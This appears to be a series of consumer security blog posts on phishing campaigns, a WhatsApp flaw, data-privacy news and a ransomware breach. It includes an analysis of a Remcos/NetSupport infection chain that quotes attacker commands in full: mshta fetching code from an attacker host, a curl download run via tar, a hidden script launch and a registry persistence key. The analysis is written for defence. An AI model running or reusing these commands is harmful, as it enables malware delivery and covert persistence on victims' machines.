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Watch out for AT&T rewards phishing text that wants your personal details

A coworker shared this suspicious SMS where AT&T supposedly warns the recipient that their reward points are about to expire.

Phishing attacks are growing increasingly sophisticated, likely with help from AI. They’re getting better at mimicking major brands—not just in look, but in behavior. Recently, we uncovered a well-executed phishing campaign targeting AT&T customers that combines realistic branding, clever social engineering, and layered data theft tactics.

In this post, we’ll walk you through the investigation, screen by screen, explaining how the campaign tricks its victims and where the stolen data ends up.

This is the text message that started the investigation.

image b2b1d5

“Dear Customer,
Your AT&T account currently holds 11,430 reward points scheduled to expire on January 26, 2026.
Recommended redemption methods:
– AT&T Rewards Center: {Shortened link}
– AT&T Mobile App: Rewards section
AT&T is dedicated to serving you.”

The shortened URL led to https://att.hgfxp[.]cc/pay/, a website designed to look like an AT&T site in name and appearance.

image 32e1bc

All branding, headers, and menus were copied over, and the page was full of real links out to att.com.

But the “main event” was a special section explaining how to access your AT&T reward points.

After “verifying” their account with a phone number, the victim is shown a dashboard warning that their AT&T points are due to expire in two days. This short window is a common phishing tactic that exploits urgency and FOMO (fear of missing out).

image bd8258

The rewards on offer—such as Amazon gift cards, headphones, smartwatches, and more—are enticing and reinforce the illusion that the victim is dealing with a legitimate loyalty program.

To add even more credibility, after submitting a phone number, the victim gets to see a list of available gifts, followed by a final confirmation prompt.

image a5f976
image f75b0d

At that point, the target is prompted to fill out a “Delivery Information” form requesting sensitive personal information, including name, address, phone number, email, and more. This is where the actual data theft takes place.

image 80262d

The form’s visible submission flow is smooth and professional, with real-time validation and error highlighting—just like you’d expect from a top brand. This is deliberate. The attackers use advanced front-end validation code to maximize the quality and completeness of the stolen information.

Behind the slick UI, the form is connected to JavaScript code that, when the victim hits “Continue,” collects everything they’ve entered and transmits it directly to the attackers. In our investigation, we deobfuscated their code and found a large “data” section.

image 858c9f

The stolen data gets sent in JSON format via POST to https://att.hgfxp[.]cc/api/open/cvvInterface.

This endpoint is hosted on the attacker’s domain, giving them immediate access to everything the victim submits.

What makes this campaign effective and dangerous

  • Sophisticated mimicry: Every page is an accurate clone of att.com, complete with working navigation links and logos.
  • Layered social engineering: Victims are lured step by step, each page lowering their guard and increasing trust.
  • Quality assurance: Custom JavaScript form validation reduces errors and increases successful data capture.
  • Obfuscated code: Malicious scripts are wrapped in obfuscation, slowing analysis and takedown.
  • Centralized exfiltration: All harvested data is POSTed directly to the attacker’s command-and-control endpoint.

How to defend yourself

A number of red flags could have alerted the target that this was a phishing attempt:

  • The text was sent to 18 recipients at once.
  • It used a generic greeting (“Dear Customer”) instead of personal identification.
  • The sender’s number was not a recognized AT&T contact.
  • The expiration date changed if the victim visited the fake site on a later date.

Beyond avoiding unsolicited links, here are a few ways to stay safe:

  • Only access your accounts through official apps or by typing the official website (att.com) directly into your browser.
  • Check URLs carefully. Even if a page looks perfect, hover over links and check the address bar for official domains.
  • Enable multi-factor authentication for your AT&T and other critical accounts.
  • Use an up to date real-time anti-malware solution with a web protection module.

Pro tip: Malwarebytes Scam Guard recognized this text as a scam.


We don’t just report on scams—we help detect them

Cybersecurity risks should never spread beyond a headline. If something looks dodgy to you, check if it’s a scam using Malwarebytes Scam Guard, a feature of our mobile protection products. Submit a screenshot, paste suspicious content, or share a text or phone number, and we’ll tell you if it’s a scam or legit. Download Malwarebytes Mobile Security for iOS or Android and try it today!

A WhatsApp bug lets malicious media files spread through group chats

WhatsApp is going through a rough patch. Some users would argue it has been ever since Meta acquired the once widely trusted messaging platform. User sentiment has shifted from “trusted default messenger” to a grudgingly necessary Meta product.

Privacy-aware users still see WhatsApp as one of the more secure mass-market messaging platforms if you lock down its settings. Even then, many remain uneasy about Meta’s broader ecosystem, and wish all their contacts would switch to a more secure platform.

Back to current affairs, which will only reinforce that sentiment.

Google’s Project Zero has just disclosed a WhatsApp vulnerability where a malicious media file, sent into a newly created group chat, can be automatically downloaded and used as an attack vector.

The bug affects WhatsApp on Android and involves zero‑click media downloads in group chats. You can be attacked simply by being added to a group and having a malicious file sent to you.

According to Project Zero, the attack is most likely to be used in targeted campaigns, since the attacker needs to know or guess at least one contact. While focused, it is relatively easy to repeat once an attacker has a likely target list.

And to put a cherry on top for WhatsApp’s competitors, a potentially even more serious concern for the popular messaging platform, an international group of plaintiffs sued Meta Platforms, alleging the WhatsApp owner can store, analyze, and access virtually all of users’ private communications, despite WhatsApp’s end-to-end encryption claims.

How to secure WhatsApp

Reportedly, Meta pushed a server change on November 11, 2025, but Google says that only partially resolved the issue. So, Meta is working on a comprehensive fix.

Google’s advice is to disable Automatic Download or enable WhatsApp’s Advanced Privacy Mode so that media is not automatically downloaded to your phone.

And you’ll need to keep WhatsApp updated to get the latest patches, which is true for any app and for Android itself.

Turn off auto-download of media

Goal: ensure that no photos, videos, audio, or documents are pulled to the device without an explicit decision.

  • Open WhatsApp on your Android device.
  • Tap the three‑dot menu in the top‑right corner, then tap Settings.
  • Go to Storage and data (sometimes labeled Data and storage usage).
  • Under Media auto-download, you will see When using mobile data, when connected on Wi‑Fi. and when roaming.
  • For each of these three entries, tap it and uncheck all media types: Photos, Audio, Videos, Documents. Then tap OK.
  • Confirm that each category now shows something like “No media” under it.

Doing this directly implements Project Zero’s guidance to “disable Automatic Download” so that malicious media can’t silently land on your storage as soon as you are dropped into a hostile group.

Even if WhatsApp still downloads some content, you can stop it from leaking into shared storage where other apps and system components see it.

  • In Settings, go to Chats.
  • Turn off Media visibility (or similar option such as Show media in gallery). For particularly sensitive chats, open the chat, tap the contact or group name, find Media visibility, and set it to No for that thread.

WhatsApp is a sandbox, and should contain the threat. Which means, keeping media inside WhatsApp makes it harder for a malicious file to be processed by other, possibly more vulnerable components.

Lock down who can add you to groups

The attack chain requires the attacker to add you and one of your contacts to a new group. Reducing who can do that lowers risk.

  • ​In Settings, tap Privacy.
  • Tap Groups.
  • Change from Everyone to My contacts or ideally My contacts except… and exclude any numbers you do not fully trust.
  • If you use WhatsApp for work, consider keeping group membership strictly to known contacts and approved admins.

Set up two-step verification on your WhatsApp account

Read this guide for Android and iOS to learn how to do that.


We don’t just report on phone security—we provide it

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TikTok narrowly avoids a US ban by spinning up a new American joint venture

TikTok may have found a way to stay online in the US. The company announced late last week that it has set up a joint venture backed largely by US investors. TikTok announced TikTok USDS Joint Venture LLC on Friday in a deal valued at about $14 billion, allowing it to continue operating in the country.

This is the culmination of a long-running fight between TikTok and US authorities. In 2019, the Committee on Foreign Investment in the United States (CFIUS) flagged ByteDance’s 2017 acquisition of Musical.ly as a national security risk, on the basis that state links between the app’s Chinese owner would make put US users’ data at risk.

In his first term, President Trump issued an executive order demanding that ByteDance sell the business or face a ban. That was order was blocked by courts, and President Biden later replaced it with a broader review process in 2021.

In April 2024, Congress passed the Protecting Americans from Foreign Adversary Controlled Applications Act (PAFACA), which Biden signed into law. That set a January 19, 2025 deadline for ByteDance to divest its business or face a nationwide ban. With no deal finalized, TikTok voluntarily went dark for about 12 hours on January 18, 2025. Trump later issued executive orders extending the deadline, culminating in a September 2025 agreement that led to the joint venture.

Three managing investors each hold 15% of the new business: database giant Oracle (which previously vied to acquire TikTok when ByteDance was first told to divest), technology-focused investment group Silver Lake, and the United Arab Emirates-backed AI (Artificial Intelligence) investment company MGX.

Other investors include the family office of tech entrepreneur Michael Dell, as well as Vastmere Strategic Investments, Alpha Wave Partners, Revolution, Merritt Way, and Via Nova.

Original owner ByteDance retains 19.9% of the business, and according to an internal memo released before the deal was officially announced, 30% of the company will be owned by affiliates of existing ByteDance investors. That’s in spite of the fact that PAFACA mandated a complete severance of TikTok in the US from its Chinese ownership.

A focus on security

The company is eager to promote data security for its users. With that in mind, Oracle takes the role of “trusted security partner” for data protection and compliance auditing under the deal.

Oracle is also expected to store US user data in its cloud environment. The program will reportedly align with security frameworks including the National Institute of Standards and Technology (NIST) Cybersecurity Framework. Other TikTok-owned apps such as CapCut and Lemon8 will also fall under the joint venture’s security umbrella.

Canada’s TikTok tension

It’s been a busy month for ByteDance, with other developments north of the border. Last week, Canada’s Federal Court overturned a November 2024 governmental order to shut down TikTok’s Canadian business on national security grounds. The decision gives Industry Minister Mélanie Joly time to review the case.

Why this matters

TikTok’s new US joint venture lowers the risk of direct foreign access to American user data, but it doesn’t erase all of the concerns that put the app in regulators’ crosshairs in the first place. ByteDance still retains an economic stake, the recommendation algorithm remains largely opaque, and oversight depends on audits and enforcement rather than hard technical separation.

In other words, this deal reduces exposure, but it doesn’t make TikTok a risk-free platform. For users, that means the same common-sense rules still apply: be thoughtful about what you share and remember that regulatory approval isn’t the same as total data safety.


We don’t just report on data privacy—we help you remove your personal information

Cybersecurity risks should never spread beyond a headline. With Malwarebytes Personal Data Remover, you can scan to find out which sites are exposing your personal information, and then delete that sensitive data from the internet.

Get paid to scroll TikTok? The data trade behind Freecash ads

Loyal readers and other privacy-conscious people will be familiar with the expression, “If it’s too good to be true, it’s probably false.”

Getting paid handsomely to scroll social media definitely falls into that category. It sounds like an easy side hustle, which usually means there’s a catch.

In January 2026, an app called Freecash shot up to the number two spot on Apple’s free iOS chart in the US, helped along by TikTok ads that look a lot like job offers from TikTok itself. The ads promised up to $35 an hour to watch your “For You” page. According to reporting, the ads didn’t promote Freecash by name. Instead, they showed a young woman expressing excitement about seemingly being “hired by TikTok” to watch videos for money.

Freecash landing page

The landing pages featured TikTok and Freecash logos and invited users to “get paid to scroll” and “cash out instantly,” implying a simple exchange of time for money.

Those claims were misleading enough that TikTok said the ads violated its rules on financial misrepresentation and removed some of them.

Once you install the app, the promised TikTok paycheck vanishes. Instead, Freecash routes you to a rotating roster of mobile games—titles like Monopoly Go and Disney Solitaire—and offers cash rewards for completing time‑limited in‑game challenges. Payouts range from a single cent for a few minutes of daily play up to triple‑digit amounts if you reach high levels within a fixed period.

The whole setup is designed not to reward scrolling, as it claims, but to funnel you into games where you are likely to spend money or watch paid advertisements.

Freecash’s parent company, Berlin‑based Almedia, openly describes the platform as a way to match mobile game developers with users who are likely to install and spend. The company’s CEO has spoken publicly about using past spending data to steer users toward the genres where they’re most “valuable” to advertisers. 

Our concern, beyond the bait-and-switch, is the privacy issue. Freecash’s privacy policy allows the automatic collection of highly sensitive information, including data about race, religion, sex life, sexual orientation, health, and biometrics. Each additional mobile game you install to chase rewards adds its own privacy policy, tracking, and telemetry. Together, they greatly increase how much behavioral data these companies can harvest about a user.

Experts warn that data brokers already trade lists of people likely to be more susceptible to scams or compulsive online behavior—profiles that apps like this can help refine.

We’ve previously reported on data brokers that used games and apps to build massive databases, only to later suffer breaches exposing all that data.

When asked about the ads, Freecash said the most misleading TikTok promotions were created by third-party affiliates, not by the company itself. Which is quite possible because Freecash does offer an affiliate payout program to people who promote the app online. But they made promises to review and tighten partner monitoring.

For experienced users, the pattern should feel familiar: eye‑catching promises of easy money, a bait‑and‑switch into something that takes more time and effort than advertised, and a business model that suddenly makes sense when you realize your attention and data are the real products.

How to stay private

Free cash? Apparently, there is no such thing.

If you’re curious how intrusive schemes like this can be, consider using a separate email address created specifically for testing. Avoid sharing real personal details. Many users report that once they sign up, marketing emails quickly pile up.

Some of these schemes also appeal to people who are younger or under financial pressure, offering tiny payouts while generating far more value for advertisers and app developers.

So, what can you do?

  • Gather information about the company you’re about to give your data. Talk to friends and relatives about your plans. Shared common sense often helps make the right decisions.
  • Create a separate account if you want to test a service. Use a dedicated email address and avoid sharing real personal details.
  • Limit information you provide online to what makes sense for the purpose. Does a game publisher need your Social Security Number? I don’t think so.
  • Be cautious about app installs that are framed as required to make the money initially promised, and review permissions carefully.
  • Use an up-to-date real-time anti-malware solution on all your devices.

Work from the premise that free money does not exist. Try to work out the business model of those offering it, and then decide.


We don’t just report on threats – we help protect your social media

Cybersecurity risks should never spread beyond a headline. Protect your social media accounts by using Malwarebytes Identity Theft Protection.

One privacy change I made for 2026 (Lock and Code S07E02)

This week on the Lock and Code podcast…

When you hear the words “data privacy,” what do you first imagine?

Maybe you picture going into your social media apps and setting your profile and posts to private. Maybe you think about who you’ve shared your location with and deciding to revoke some of that access. Maybe you want to remove a few apps entirely from your smartphone, maybe you want to try a new web browser, maybe you even want to skirt the type of street-level surveillance provided by Automated License Plate Readers, which can record your car model, license plate number, and location on your morning drive to work.

Importantly, all of these are “data privacy,” but trying to do all of these things at once can feel impossible.

That’s why, this year, for Data Privacy Day, Malwarebytes Senior Privacy Advocate (and Lock and Code host) David Ruiz is sharing the one thing he’s doing different to improve his privacy. And it’s this: He’s given up Google Search entirely.

When Ruiz requested the data that Google had collected about him last year, he saw that the company had recorded an eye-popping 8,000 searches in just the span of 18 months. And those 8,000 searches didn’t just reveal what he was thinking about on any given day—including his shopping interests, his home improvement projects, and his late-night medical concerns—they also revealed when he clicked on an ad based on the words he searched. This type of data, which connects a person’s searches to the likelihood of engaging with an online ad, is vital to Google’s revenue, and it’s the type of thing that Ruiz is seeking to finally cut off.

So, for 2026, he has switched to a new search engine, Brave Search.

Today, on the Lock and Code podcast, Ruiz explains why he made the switch, what he values about Brave Search, and why he also refused to switch to any of the major AI platforms in replacing Google.

Tune in today to listen to the full episode.

Show notes and credits:

Intro Music: “Spellbound” by Kevin MacLeod (incompetech.com)
Licensed under Creative Commons: By Attribution 4.0 License
http://creativecommons.org/licenses/by/4.0/
Outro Music: “Good God” by Wowa (unminus.com)


Listen up—Malwarebytes doesn’t just talk cybersecurity, we provide it.

Protect yourself from online attacks that threaten your identity, your files, your system, and your financial well-being with our exclusive offer for Malwarebytes Premium Security for Lock and Code listeners.

A week in security (January 19 – January 25)

Spammers abuse Zendesk to flood inboxes with legitimate-looking emails, but why?

Short answer: we have no idea.

People are actively complaining that their mailboxes and queues are being flooded by emails coming from the Zendesk instances of trusted companies like Discord, Riot Games, Dropbox, and many others.

Zendesk is a customer service and support software platform that helps companies manage customer communication. It supports tickets, live chat, email, phone, and communication through social media.

Some people complained about receiving over 1,000 such emails. The strange thing ais that so far there are no reports of malicious links, tech support scam numbers, or any type of phishing in these emails.

The abusers are able to send waves of emails from these systems because Zendesk allows them to create fake support tickets with email addresses that do not belong to them. The system sends a confirmation mail to the provided email address if the affected company has not restricted ticket submission to verified users.

In a December advisory, Zendesk warned about this method, which they called relay spam. In essence it’s an example of attackers abusing a legitimate automated part of a process. We have seen similar attacks before, but they always served a clear purpose for the attacker, whereas this one doesn’t.

Even though some of the titles in use definitely are of a clickbait nature. Some examples:

  • FREE DISCORD NITRO!!
  • TAKE DOWN ORDER NOW FROM CD Projekt
  • TAKE DOWN NOW ORDER FROM Israel FOR Square Enix
  • DONATION FOR State Of Tennessee CONFIRMED
  • LEGAL NOTICE FROM State Of Louisiana FOR Electronic
  • IMPORTANT LAW ENFORCEMENT NOTIFICATION FROM DISCORD FROM Peru
  • Thank you for your purchase!
  •  Binance Sign-in attempt from Romania
  • LEGAL DEMAND from Take-Two interactive

So, this could be someone testing the system, but it just as well might be someone who enjoys disrupting the system and creating disruption. Maybe they have an axe to grind with Zendesk. Or they’re looking for a way to send attachments with the emails.

Either way, Zendesk told BleepingComputer that they introduced new safety features on their end to detect and stop this type of spam in the future. But companies are advised to restrict the users that can submit tickets and the titles submitters can give to the tickets.

Stay vigilant

In the emails we have seen the links in the tickets are legitimate and point to the affected company’s ticket system. And the only part of the emails the attackers should be able to manipulate is the title and subject of the ticket.

But although everyone involved tells us just to ignore the emails, it is never wrong to handle them with an appropriate amount of distrust.

  • Delete or archive the emails without interacting.
  • Do not click on the links if you have not submitted the ticket or call any telephone number mentioned in the ticket. Reach out through verified channels.
  • Ignore any actions advised in the parts of the email the ticket submitter can control.

We don’t just report on threats – we help protect your social media

Cybersecurity risks should never spread beyond a headline. Protect your social media accounts by using Malwarebytes Identity Theft Protection.

Fake LastPass maintenance emails target users

The LastPass Threat Intelligence, Mitigation, and Escalation (TIME) team has published a warning about an active phishing campaign in which fake “maintenance” emails pressure users to back up their vaults within 24 hours. The emails lead to credential-stealing phishing sites rather than any legitimate LastPass page.

The phishing campaign that started around January 19, 2026, uses emails that falsely claim upcoming infrastructure maintenance and urge users to “backup your vault in the next 24 hours.”

Example phishing email
Image courtesy of LastPass

“Scheduled Maintenance: Backup Recommended

As part of our ongoing commitment to security and performance, we will be conducting scheduled infrastructure maintenance on our servers.
Why are we asking you to create a backup?
While your data remains protected at all times, creating a local backup ensures you have access to your credentials during the maintenance window. In the unlikely event of any unforeseen technical difficulties or data discrepancies, having a recent backup guarantees your information remains secure and recoverable. We recommend this precautionary measure to all users to ensure complete peace of mind and seamless continuity of service.

Create Backup Now (link)

How to create your backup
1 Click the “Create Backup Now” button above
2 Select “Export Vault” from you account settings
3 Download and store your encrypted backup file securely”

The link in the email points to mail-lastpass[.]com, a domain that doesn’t belong to LastPass and has now been taken down.

Note that there are different subject lines in use. Here is a selection:

  • LastPass Infrastructure Update: Secure Your Vault Now
  • Your Data, Your Protection: Create a Backup Before Maintenance
  • Don’t Miss Out: Backup Your Vault Before Maintenance
  • Important: LastPass Maintenance & Your Vault Security
  • Protect Your Passwords: Backup Your Vault (24-Hour Window)

It is imperative for users to ignore instructions in emails like these. Giving away the login details for your password manager can be disastrous. For most users, it would provide access to enough information to carry out identity theft.

Stay safe

First and foremost, it’s important to understand that LastPass will never ask for your master password or demand immediate action under a tight deadline. Generally speaking, there are more guidelines that can help you stay safe.

  • Don’t click on links in unsolicited emails without verifying with the trusted sender that they’re legitimate.
  • Always log in directly on the platform that you are trying to access, rather than through a link.
  • Use a real-time, up-to-date anti-malware solution with a web protection module to block malicious sites.
  • Report phishing emails to the company that’s being impersonated, so they can alert other customers. In this case emails were forwarded to abuse@lastpass.com.

Pro tip: Malwarebytes Scam Guard  would have recognized this email as a scam and advised you how to proceed.


We don’t just report on threats—we help safeguard your entire digital identity

Cybersecurity risks should never spread beyond a headline. Protect your, and your family’s, personal information by using identity protection.

Can you use too many LOLBins to drop some RATs?

Recently, our team came across an infection attempt that stood out—not for its sophistication, but for how determined the attacker was to take a “living off the land” approach to the extreme.

The end goal was to deploy Remcos, a Remote Access Trojan (RAT), and NetSupport Manager, a legitimate remote administration tool that’s frequently abused as a RAT. The route the attacker took was a veritable tour of Windows’ built-in utilities—known as LOLBins (Living Off the Land Binaries).

Both Remcos and NetSupport are widely abused remote access tools that give attackers extensive control over infected systems and are often delivered through multi-stage phishing or infection chains.

Remcos (short for Remote Control & Surveillance) is sold as a legitimate Windows remote administration and monitoring tool but is widely used by cybercriminals. Once installed, it gives attackers full remote desktop access, file system control, command execution, keylogging, clipboard monitoring, persistence options, and tunneling or proxying features for lateral movement.

NetSupport Manager is a legitimate remote support product that becomes “NetSupport RAT” when attackers silently install and configure it for unauthorized access.

Let’s walk through how this attack unfolded, one native command at a time.

Stage 1: The subtle initial access

The attack kicked off with a seemingly odd command:

C:WindowsSystem32forfiles.exe /p c:windowssystem32 /m notepad.exe /c "cmd /c start mshta http://[attacker-ip]/web"

At first glance, you might wonder: why not just run mshta.exe directly? The answer lies in defense evasion.

By roping in forfiles.exe, a legitimate tool for running commands over batches of files, the attacker muddied the waters. This makes the execution path a bit harder for security tools to spot. In essence, one trusted program quietly launches another, forming a chain that’s less likely to trip alarms.

Stage 2: Fileless download and staging

The mshta command fetched a remote HTA file that immediately spawned cmd.exe, which rolled out an elaborate PowerShell one-liner:

powershell.exe -NoProfile -Command

curl -s -L -o "<random>.pdf" (attacker-ip}/socket;

mkdir "<random>";

tar -xf "<random>.pdf" -C "<random>";

Invoke-CimMethod Win32_Process Create "<random>glaxnimate.exe"

Here’s what that does:

PowerShell’s built-in curl downloaded a payload disguised as a PDF, which in reality was a TAR archive. Then, tar.exe (another trusted Windows add-on) unpacked it into a randomly named folder. The star of this show, however, was glaxnimate.exe—a trojanized version of real animation software, primed to further the infection on execution. Even here, the attacker relies entirely on Windows’ own tools—no EXE droppers or macros in sight.

Stage 3: Staging in plain sight

What happened next? The malicious Glaxnimate copy began writing partial files to C:ProgramData:

  • SETUP.CAB.PART
  • PROCESSOR.VBS.PART
  • PATCHER.BAT.PART

Why .PART files? It’s classic malware staging. Drop files in a half-finished state until the time is right—or perhaps until the download is complete. Once the coast is clear, rename or complete the files, then use them to push the next payloads forward.

Scripting the core elements of infection
Scripting the core elements of infection

Stage 4: Scripting the launch

Malware loves a good script—especially one that no one sees. Once fully written, Windows Script Host was invoked to execute the VBScript component:

"C:WindowsSystem32WScript.exe" "C:ProgramDataprocessor.vbs"

The VBScript used IWshShell3.Run to silently spawn cmd.exe with a hidden window so the victim would never see a pop-up or black box.

IWshShell3.Run("cmd.exe /c %ProgramData%patcher.bat", "0", "false");

The batch file’s job?

expand setup.cab -F:* C:ProgramData

Use the expand utility to extract all the contents of the previously dropped setup.cab archive into ProgramData—effectively unpacking the NetSupport RAT and its helpers.

Stage 5: Hidden persistence

To make sure their tool survived a restart, the attackers opted for the stealthy registry route:

reg add "HKCUEnvironment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:ProgramDataPATCHDIRSECclient32.exe" /f

Unlike old-school Run keys, UserInitMprLogonScript isn’t a usual suspect and doesn’t open visible windows. Every time the user logged in, the RAT came quietly along for the ride.

Final thoughts

This infection chain is a masterclass in LOLBin abuse and proof that attackers love turning Windows’ own tools against its users. Every step of the way relies on built-in Windows tools: forfiles, mshta, curl, tar, scripting engines, reg, and expand.

So, can you use too many LOLBins to drop a RAT? As this attacker shows, the answer is “not yet.” But each additional step adds noise, and leaves more breadcrumbs for defenders to follow. The more tools a threat actor abuses, the more unique their fingerprints become.

Stay vigilant. Monitor potential LOLBin abuse. And never trust a .pdf that needs tar.exe to open.

Despite the heavy use of LOLBins, Malwarebytes still detects and blocks this attack. It blocked the attacker’s IP address and detected both the Remcos RAT and the NetSupport client once dropped on the system.

Malwarebytes blocks the IP 79.141.162.189

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Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Under Armour ransomware breach: data of 72 million customers appears on the dark web

When reports first emerged in November 2025 that sportswear giant Under Armour had been hit by the Everest ransomware group, the story sounded depressingly familiar: a big brand, a huge trove of data, and a lot of unanswered questions. Since then, the narrative around what actually happened has split into two competing versions—cautious corporate statements on one side and mounting evidence on the other that strongly suggests a large customer dataset is now circulating online.

Public communications and legal language talk about ongoing investigations, limited confirmation, and careful wording around “potential” impact. For many customers, that creates the impression that details are still emerging and that it’s unclear how serious the incident is. Meanwhile, a class action lawsuit filed in the US alleges negligence in data protection and references large‑scale exfiltration of sensitive information, including customer—and possibly employee—data during a November 2025 ransomware attack. Those lawsuits are, by definition, allegations, but they add weight to the idea that this is not a minor incident.

The Everest ransomware group claimed responsibility for the breach after Under Armour allegedly “failed to respond by the deadline.”

Everest Group leak site
Everest Group leak site

From the cybercriminals’ perspective, that means negotiations are over and the data has been published.

The Everest leak site also states that:

“After the full publication, all the data was duplicated across various hacker forums and leak database sites.”

Which seems to be confirmed by posts like this one, where the poster claims the data set contains full names, email addresses, phone numbers, physical locations, genders, purchase histories, and preferences. The data set contains 191,577,365 records including 72,727,245 unique email addresses.

Data made available on the Dark Web

So where does that leave Under Armour customers? The cautious corporate framing and the aggressive cybercriminal claims can’t both be entirely accurate, but they do not carry equal weight when it comes to assessing real-world risk. Ransomware groups sometimes lie about their access, but spinning up a major leak entry, publishing sample data, and distributing it across underground forums is a lot of work for a bluff that could be quickly disproven by affected users. Combined with the “Database Leaked” status on the Everest site, the balance of probabilities suggests that a substantial customer database is now in the wild, even if not every detail in the attackers’ claims is accurate.

Protecting yourself after a data breach

If you think you have been affected by a data breach, here are steps you can take to protect yourself:

  • Check the company’s advice. Every breach is different, so check with the company to find out what’s happened and follow any specific advice it offers.
  • Change your password. You can make a stolen password useless to thieves by changing it. Choose a strong password that you don’t use for anything else. Better yet, let a password manager choose one for you.
  • Enable two-factor authentication (2FA). If you can, use a FIDO2-compliant hardware key, laptop, or phone as your second factor. Some forms of 2FA can be phished just as easily as a password, but 2FA that relies on a FIDO2 device can’t be phished.
  • Watch out for impersonators. The thieves may contact you posing as the breached platform. Check the official website to see if it’s contacting victims and verify the identity of anyone who contacts you using a different communication channel.
  • Take your time. Phishing attacks often impersonate people or brands you know, and use themes that require urgent attention, such as missed deliveries, account suspensions, and security alerts.
  • Consider not storing your card details. It’s definitely more convenient to let sites remember your card details, but but it increases risk if a retailer suffers a breach.
  • Set up identity monitoring, which alerts you if your personal information is found being traded illegally online and helps you recover after.

We don’t just report on threats—we help safeguard your entire digital identity

Cybersecurity risks should never spread beyond a headline. Protect your, and your family’s, personal information by using identity protection.